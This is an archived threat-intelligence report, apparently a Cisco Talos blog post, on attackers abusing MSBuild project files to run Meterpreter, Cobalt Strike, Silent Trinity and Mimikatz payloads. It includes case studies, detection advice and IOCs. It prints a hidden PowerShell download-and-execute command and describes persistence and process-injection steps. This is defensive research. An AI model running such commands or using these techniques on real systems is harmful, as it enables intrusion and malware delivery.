{
	"id": "a106e253-6ea2-422e-863d-3a4209595853",
	"created_at": "2026-04-06T01:28:58.238015Z",
	"updated_at": "2026-04-10T13:12:40.705653Z",
	"deleted_at": null,
	"sha1_hash": "ab2c0ce2f1476cf0d37c66d886c9239de04131d0",
	"title": "Building a bypass with MSBuild",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1633970,
	"plain_text": "Building a bypass with MSBuild\r\nBy Vanja Svajcer\r\nPublished: 2020-02-18 · Archived: 2026-04-06 00:56:08 UTC\r\nBy Vanja Svajcer.\r\nNEWS SUMMARY\r\nLiving-off-the-land binaries (LoLBins) continue to pose a risk to security defenders.\r\nWe analyze the usage of the Microsoft Build Engine by attackers and red team personnel.\r\nThese threats demonstrate techniques T1127 (Trusted Developer Utilities) and T1500 (Compile After\r\nDelivery) of MITRE ATT\u0026CK framework.\r\nIn one of our previous posts, we discussed the usage of default operating system functionality and other legitimate\r\nexecutables to execute the so-called \"living-off-the-land\" approach to the post-compromise phase of an attack. We\r\ncalled those binaries LoLBins. Since then, Cisco Talos has analyzed telemetry we received from Cisco products\r\nand attempted to measure the usage of LoLBins in real-world attacks.\r\nSpecifically, we are going to focus on MSBuild as a platform for post-exploitation activities. For that, we are\r\ncollecting information from open and closed data repositories as well as the behavior of samples submitted for\r\nanalysis to the Cisco Threat Grid platform.\r\nWhat's new?\r\nWe collected malicious MSBuild project configuration files and documented their structure, observed\r\ninfection vectors and final payloads. We also discuss potential actors behind the discovered threats.\r\nhttps://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html\r\nPage 1 of 15\n\nHow did it work?\r\nMSBuild is part of the Microsoft Build Engine, a software build system that builds applications as specified\r\nin its XML input file. The input file is usually created with Microsoft Visual Studio. However, Visual Studio\r\nis not required when building applications, as some .NET framework and other compilers that are required\r\nfor compilation are already present on the system.\r\nThe attackers take advantage of MSBuild characteristics that allow them to include malicious source code within\r\nthe MSBuild configuration or project file.\r\nSo What?\r\nAttackers see a few benefits when using the MSBuild engine to include malware in a source code format.\r\nThis technique was discovered a few years ago and is well-documented by Casey Smith, whose proof of\r\nconcept template is often used in the samples we collected.\r\nFirst of all, this technique can be used to bypass application whitelisting technologies such as Windows\r\nApplocker.\r\nAnother benefit is that the code is compiled in memory so that no permanent files exist on the disk, which\r\nwould otherwise raise a level of suspicion by the defenders.\r\nFinally, the attackers can employ various methods to obfuscate the payload, such as randomizing variable\r\nnames or encrypting the payload with a key hosted on a remote site, which makes detection using\r\ntraditional methods more challenging.\r\nTechnical case overview\r\nOne of the characteristics of MSBuild input configuration files is that the developer can include a\r\nspecial XML tag that specifies an inline task, containing source code that will be compiled and\r\nloaded by MSBuild in memory.\r\nDefinition of inline task within the MSBuild configuration file.\r\nDepending on the attributes of the task, the developer can specify a new class, a method or a code fragment that\r\nautomatically gets executed when a project is built.\r\nThe source code can be specified as an external file on a drive. Decoupling the project file and the malicious\r\nsource code may make the detection of malicious MSBuild executions even more challenging.\r\nhttps://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html\r\nPage 2 of 15\n\nDuring the course of our research, we collected over 100 potentially malicious MSBuild configuration files from\r\nvarious sources, we analyzed delivery methods and investigated final payloads, usually delivered as a position-independent code, better known as shellcode.\r\nSummary analysis of shellcode\r\nMetasploit The majority of the collected samples contained a variant of Metasploit Meterpreter stager shellcode, generated by the\r\nmsfvenom utility in a format suitable for embedding in a C# variable. The shellcode is often obfuscated by compressing the byte\r\narray with either zlib or GZip and then converting it into base64-encoded printable text.\r\nMeterpreter stager shellcode example in an MSBuild configuration file.\r\nPossibly the most convenient tool for quick shellcode analysis is shellcode debugger: scdbg. Scdbg has many\r\noptions to debug shellcode. Scdbg is based on an open-source x86 emulation library libemu, so it only emulates\r\nthe Windows environment and will not correctly analyze every shellcode. Nevertheless, the tool is an excellent\r\nfirst stop for analyzing a larger number of shellcode samples as it can produce log files that can later be used in\r\nclustering.\r\nOf course, to analyze shellcode, we need to convert it from the format suitable for assignment to a C# byte array\r\nvariable back into the binary format. If you regularly use a Unix-based computer with an appropriate\r\nterminal/shell, your first port of call may be a default utility xxd, which is more commonly used to dump the\r\ncontent of a binary file in a human-readable hexadecimal format.\r\nHowever, xxd also has a reverting mode and it can be used to convert the C# array bytes back into the binary file,\r\nusing command-line options -r and -p together.\r\nxxd -r -p input_text_shellcode_file output_binary_shellcode_file\r\nXxd supports several popular dumping formats, but it won't always produce the correct output. It is important to\r\nhttps://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html\r\nPage 3 of 15\n\ncheck that the binary bytes and the bytes specified in the shellcode text file are the same.\r\nScdgb API trace of a Metasploit stager shellcode.\r\nThere is a compiled version of scdbg available, but it is probably better to compile it from the source code because\r\nof the new API emulations.\r\nCovenant  \r\nCovenant is a relatively new C#-based command and control framework that also allows an attacker (or a red team member) to\r\ncreate payloads based on several infection vectors, including MSBuild. The skeleton code for the MSBuild loader is relatively\r\nsimple and it takes a binary payload, deflates it using zlib decompression and loads it in the MSBuild process space.\r\nThe payload needs to be a .NET assembly which can be loaded and executed by the skeleton code. The Covenant\r\nframework has its own post-exploitation set of implants called Grunts. Grunts provide infrastructure for building\r\ncommunications with C2 servers. The tasks are sent to the infected system in a format of obfuscated C#\r\nassemblies which get loaded and executed by Grunts.\r\nCovenant skeleton code loading a Grunt implant.\r\nNPS — not Powershell — in MSBuild\r\nNPS is a simple wrapper executable utility created to load the System.Management.Automation and few other .NET assemblies\r\ninto the process space of an executable. The idea behind it is an attempt to evade the detection of the execution of powershell.exe\r\nand still run custom PowerShell code.\r\nhttps://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html\r\nPage 4 of 15\n\nThis idea is used by the developers of nps_payload tool which allows actors to create not-PowerShell payloads\r\nusing different mechanisms, including the MSBuild configuration tool. The tool generates MSBuild project files\r\nwith a choice of Meterpreter stagers shellcode payloads or a custom Powershell code payload supplied by the user.\r\nMSBuild non-PowerShell flow.\r\nCobalt strike Although a Metasploit shellcode MSBuild payload is by far the most common, we have also seen several samples\r\nthat use a Cobalt Strike beacon as a payload. The beacon shellcode has a structure similar to a PE file but it is designed to be\r\nmanually loaded in memory and executed by invoking the shellcode loader that starts at the beginning of the blob, immediately\r\nbefore MZ magic bytes.\r\nCobalt Strike payload beginning.\r\nhttps://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html\r\nPage 5 of 15\n\nCobalt Strike reflective loader.\r\nThe payload itself is over 200 KB long, so it is relatively easy to recognize. One of the case studies later in this\r\npost covers a more serious attempt to obfuscate the beacon payload by encrypting it with AES256 using a key\r\nhosted on a remote website.\r\nMimikatz The only discovered payload that is longer than a Cobalt Strike shellcode/beacon is a sample containing two Mimikatz\r\npayloads. A sample we discovered has a more complex logic for loading the executable into memory and eventually launching it\r\nwith a call to CreateThread. The PE loader's source is available on GitHub, although for this sample, it was somewhat adopted to\r\nwork within MSBuild.\r\nMSBuild Mimikatz loader\r\nThe loader first checks if the operating system is 32 or 64 bit and then loads and runs the appropriate Mimikatz\r\nexecutable stored in a variable encoded using base64.\r\nCase studies We follow our general observations with three case studies discovered by searching the\r\nsubmissions in the Cisco Threat Grid platform over the period of the last 6 months. Samples attempting to\r\nabuse MSBuild are detected by Threat Grid using the indicator \"MSBuild Process Builds with Project File\r\n(xml/csproj)\". This indicator name can also be used to search for additional samples attempting to use the\r\nsame technique.\r\nBrief Cisco Threat Grid explanation of the MSBuild-related indicator of compromise.\r\nCase 1: Word document to MSBuild payload on Dropbox\r\nOur first case study of an actual campaign using MSBuild to deploy a payload is a Word document that\r\ndisplays a fairly common fake message prompting the user to \"enable content\" to execute a VBA macro\r\ncode included in the document.\r\nhttps://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html\r\nPage 6 of 15\n\nOnce enabled, the VBA code creates two files in the user's Temp folder. The first one is called \"expenses.xlsx\" and\r\nit is actually an MSBuild configuration XML file containing malicious code to compile and launch a payload.\r\nAccording to VirusTotal, the sample was hosted on a publicly accessible Dropbox folder with the file name\r\n\"Candidate Resume - Morgan Stanley 202019.doc,\" which indicates that the campaign was targeted or that the\r\nactor is conducting a red team exercise to attempt to sneak by a company's defenses.\r\nSample when opened.\r\nThe second file created by the VBA code in the user's temporary folder is called \"resume.doc.\" This is a clean\r\ndecoy Word document that displays a simple resume for the position of a marketing manager.\r\nhttps://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html\r\nPage 7 of 15\n\nThe decoy clean document.\r\nWinword launches MSBuild, which starts the C# compilers csc.exe and cvtres.exe.\r\nThreat Grid process tree execution of the sample.\r\nWe can also see the MSBuild process launching Internet Explorer (iexplore.exe). iexplore.exe is launched in a\r\nsuspended mode so that the payload, which is a Cobalt strike beacon, can be copied into its process space and\r\nhttps://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html\r\nPage 8 of 15\n\nlaunched by queuing the thread as an asynchronous procedure call, one of the common techniques of process\r\ninjection.\r\nBlue teams should regularly investigate parent-child relationships between processes. In this case, seeing\r\nwinword.exe launching the MSBuild.exe process and MSBuild.exe launching iexplore.exe is highly unusual.\r\nMSBuild-based process injection source code.\r\nCase 2: Excel file to Silent Trinity\r\nThe second case study has a similar pattern to the previous one. Here, we have an Excel file that looks like it\r\ncontains confidential salary information but prompts the user to enable editing to see the content.\r\nExcel sample when opened\r\nThe Excel file contains a VBA macro code that does not look very suspicious at first glance but actually calls to\r\nanother function. This function also starts out rather innocuously, but eventually ends with a suspicious call to\r\nWscript.Shell using a document Subject attribute containing a URL of the next loader stage.\r\nhttps://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html\r\nPage 9 of 15\n\nVBA Code using the Subject attribute of the document to launch the next stage.\r\nThe document subject property contains the code to execute PowerShell and fetch and invoke the next stage:\r\nC:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoExit -w hidden -Command iex(New-Object System.Net\r\nHelloworld.ps1 downloads the MSBuild configuration from another URL, hxxp://apb[.]sh/msbuild[.]xml and\r\nlaunches it. Finally, Helloworld.ps1 downloads a file from hxxp://apb[.]sh/per[.]txt and saves it as a.bat in the\r\nuser's \\Start Menu\\Programs\\Startup\\ folder. A.bat ensures that the payload persists after users logs-out of the\r\nsystem.\r\nThe downloaded MSBuild configuration file seems to be generated by the Silent Trinity .NET post-exploitation\r\nframework. It stores a .NET assembly payload as a file compressed with zlib and then encoded using a base64\r\nencoder. Once decoded, the Silent Trinity stager assembly is loaded with the command and control URL pointing\r\nto hxxp://35[.]157[.]14[.]111, and TCP port 8080, an IP address belonging to Amazon AWS range.\r\nAll stages of the Silent Trinity case study.\r\nSilent Trinity is a relatively recent framework that enables actors and members of red teams to conduct various\r\nactivities after the initial foothold is established. An original Silent Trinity implant is called Naga and has an\r\nability to interpret commands sent in the Boolang language. The communication between the implant and the C2\r\nserver is encrypted even if the data is sent over HTTP.\r\nIn this case, the actors are using an older version of Naga, which does not use Boolang, but it attempts to load\r\nIronPython, implementation of Python for .NET framework.\r\nhttps://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html\r\nPage 10 of 15\n\nSilent Trinity implant loading IronPython engine.\r\nLike with any post-exploitation framework, it is difficult to make a decision if this campaign is truly malicious or\r\nit was conducted by a red team member.\r\nCase 3: URL to encrypted Cobalt Strike beacon\r\nOur final case study has a different infection chain. It starts with a web page hosting an alleged code of\r\nconduct document for employees of a known apparel manufacturer G-III. The document is an HTML\r\napplication written in VB Script that creates an MSBuild configuration file and runs MSBuild.\r\nVB Script HTA file creating a configuration file and invoking MSBuild.\r\nThe MSBuild configuration file contains an inline task class that uses an external URL to retrieve the key to\r\ndecrypt the encrypted embedded payload. The key was stored in the URL\r\nhxxp://makeonlineform[.]com/forms/228929[.]txt. The embedded payload is a Cobalt Strike Powershell loader\r\nwhich deobfuscates the final Cobalt Strike beacon and loads it into the process memory.\r\nhttps://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html\r\nPage 11 of 15\n\nDeobfuscated Cobalt Strike PowerShell loader.\r\nOnce the Cobalt Strike beacon is loaded, the HTA application navigates the browser to the actual URL of the G-III\r\ncode of conduct. Finally, the generated MSBuild configuration file is removed from the computer.\r\nIf we look at the process tree in the graph generated by Threat Grid, we see that a potentially suspicious event of\r\nMSBuild.exe process launching PowerShell. Mshta.exe does not show up as a parent process of MSBuild.exe,\r\notherwise, this graph would be even more suspicious.\r\nHTA application process tree as seen in Threat Grid.\r\nTelemetry and MSBuild, possible actors\r\nLooking at the MSBuild telemetry in a format of process arguments defenders can take from their systems\r\nor from their EDR tools such as Cisco AMP for Endpoints it is not easy to decide if an invocation of\r\nMSBuild.exe in their environments is suspicious.\r\nThis stands in contrast with invocations of PowerShell with encoded scripts where the actual code can be\r\ninvestigated by looking at command line arguments.\r\nWe have measured a proportion of systems running AMP for Endpoints using MSBuild over a period of 30 days to\r\nget help us decide if any MSBuild event needs to be investigated.\r\nhttps://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html\r\nPage 12 of 15\n\nThe proportion of endpoints running MSBuild on a daily basis in January 2020.\r\nWe also looked at the project filenames. This can catch attacks using default project file names but we cannot\r\nexpect to catch all using this technique as filenames can be arbitrary. Another possible criterion for investigations\r\nis the number of arguments used when MSBuild is invoked where invocations with only a single argument, where\r\nthe argument is a project name, could be considered more suspicious.\r\nIn addition to the number of arguments, the defenders should look at the file path from where MSBuild is running.\r\nIt is very likely that suspicious MSBuild invocations will be a subset to the invocation of the path\r\nC:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll, which is generally specified as\r\nthe build assembly in malicious MSBuild configuration files.\r\nThe final approach within an organization could be to baseline the parent processes of MSBuild within the\r\norganization and mark as suspicious any invocations that do not come from the usual processes, such as the Visual\r\nStudio development environment and other software building frameworks. When investigating our telemetry\r\nthrough January 2020, we found only 65 unique executables that acted as parent processes on all endpoints\r\nprotected by AMP for Endpoints. In almost every organization, this number should be lower and easy to manage.\r\nIn all the endpoints sending telemetry to Cisco, there are up to 2 percent of them running MSBuild on a daily\r\nbasis, which is too much to investigate in any larger organization. However, if we apply the rules for what\r\nconstitutes a suspicious MSBuild invocation as described above, we come to a much more manageable number of\r\nabout one in fifty thousand endpoints (0.1 percent of 2 percent).\r\nThe proportion of endpoints with suspect MSBuild calls in Cisco AMP for Endpoints.\r\nWhen considering the authors behind discovered samples, it is very difficult to say more without additional\r\ncontext. Certainly, having only MSBuild project files allows us to conduct basic analysis of the source code and\r\ntheir payloads. Only with some behavioral results, such as the ones from Threat Grid, do we begin to see more\r\ncontext and build a clearer picture of how MSBuild is abused.\r\nhttps://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html\r\nPage 13 of 15\n\nIn our investigation, most of the payloads used some sort of a post-exploitation agent, such as Meterpreter, Cobalt\r\nStrike, Silent Trinity or Covenant. From those, we can either conclude that the actors are interested in gaining a\r\nfoothold in a company to conduct further malicious activities or that actors are red team members conducting a\r\npenetration test to estimate the quality of detection and the function of the target's defending team.\r\nConclusion\r\nMSBuild is an essential tool for software engineers building .NET software projects. However, the\r\nability to include code in MSBuild project files allows malicious actors to abuse it and potentially\r\nprovide a way to bypass some of the Windows security mechanisms.\r\nFinally, our research shows that MSBuild is generally not used by commodity malware. Most of the observed\r\ncases had a variant of a post-exploitation agent as a final payload. The usage of widely available post-exploitation\r\nagents in penetration testing is somewhat questionable as the defenders can be lulled into a false sense of security.\r\nIf the defenders get used to seeing, for example, Meterpreter, if another Meterpreter agent is detected on their\r\nnetwork they may be ignored, even if it is deployed by a real malicious actor.\r\nDefenders are advised to carefully monitor command-line arguments of process execution and specifically\r\ninvestigate instances where MSBuild parent process is a web browser or a Microsoft Office executable. This kind\r\nof behavior is highly suspicious that indicates that defenses have been breached. Once a baseline is set, the suspect\r\nMSBuild calls should be easily visible and relatively rare so they do not increase the average team workload.\r\nIn a production environment, where there are no software developers, every execution of MSBuild.exe should be\r\ninvestigated to make sure the usage is legitimate.\r\nCoverage\r\nWays our customers can detect and block this threat are listed below.\r\nhttps://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html\r\nPage 14 of 15\n\nAdvanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these\r\nthreat actors. Exploit Prevention present within AMP is designed to protect customers from unknown attacks such\r\nas this automatically.\r\nCisco Cloud Web Security (CWS) orWeb Security Appliance (WSA) web scanning prevents access to malicious\r\nwebsites and detects malware used in these attacks.\r\nEmail Security can block malicious emails sent by threat actors as part of their campaign.\r\nNetwork Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention\r\nSystem (NGIPS),Cisco ISR, andMeraki MX can detect malicious activity associated with this threat.\r\nAMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.\r\nUmbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs,\r\nwhether users are on or off the corporate network.\r\nOpen Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack\r\navailable for purchase onSnort.org.\r\nIOCs\r\nSHA256s\r\n334d4bcdbd645589b3cf37895c79b3b04047020540d7464268b3be4007ad7ab1 - Cobalt Strike MSBuild project\r\na4eebe193e726bb8cc2ffbdf345ffde09ab61d69a131aff6dc857b0d01dd3213 - Cobalt Strike payload\r\n6c9140003e30137b0780d76da8c2e7856ddb4606d7083936598d5be63d4c4c0d - Covenant MSBuild project\r\nee34c2fccc7e605487ff8bee2a404bc9fc17b66d4349ea3f93273ef9c5d20d94 - Covenant payload\r\naaf43ef0765a5380036c5b337cf21d641b5836ca87b98ad0e5fb4d569977e818 - Mimikatz MSBuild project\r\nef7cc405b55f8a86469e6ae32aa59f693e1d243f1207a07912cce299b66ade38 - Mimikatz x86 payload\r\nabb93130ad3bb829c59b720dd25c05daccbaeac1f1a8f2548457624acae5ba44 - Metasploit Shellcode MSBuild\r\nproject\r\nce6c00e688f9fb4a0c7568546bfd29552a68675a0f18a3d0e11768cd6e3743fd - Meterpreter stager shellcode\r\na661f4fa36fbe341e4ec0b762cd0043247e04120208d6902aad51ea9ae92519e - Not Powershell MSBuild project\r\n18663fccb742c594f30706078c5c1c27351c44df0c7481486aaa9869d7fa95f8 - Word to Cobalt Strike\r\n35dd34457a2d8c9f60c40217dac91bea0d38e2d0d9a44f59d73fb82197aaa792 - Excel to Silent Trinity\r\nURLs\r\nhxxp://apb[.]sh/helloworld[.]ps1\r\nhxxp://apb[.]sh/msbuild[.]xml\r\nhxxp://apb[.]sh/per[.]txt\r\nhxxp://makeonlineform[.]com/f/c3ad6a62-6a0e-4582-ba5e-9ea973c85540/ - HTA to Cobalt Strike URL\r\nSource: https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html\r\nhttps://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html\r\nPage 15 of 15",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html"
	],
	"report_names": [
		"building-bypass-with-msbuild.html"
	],
	"threat_actors": [],
	"ts_created_at": 1775438938,
	"ts_updated_at": 1775826760,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/ab2c0ce2f1476cf0d37c66d886c9239de04131d0.pdf",
		"text": "https://archive.orkl.eu/ab2c0ce2f1476cf0d37c66d886c9239de04131d0.txt",
		"img": "https://archive.orkl.eu/ab2c0ce2f1476cf0d37c66d886c9239de04131d0.jpg"
	}
}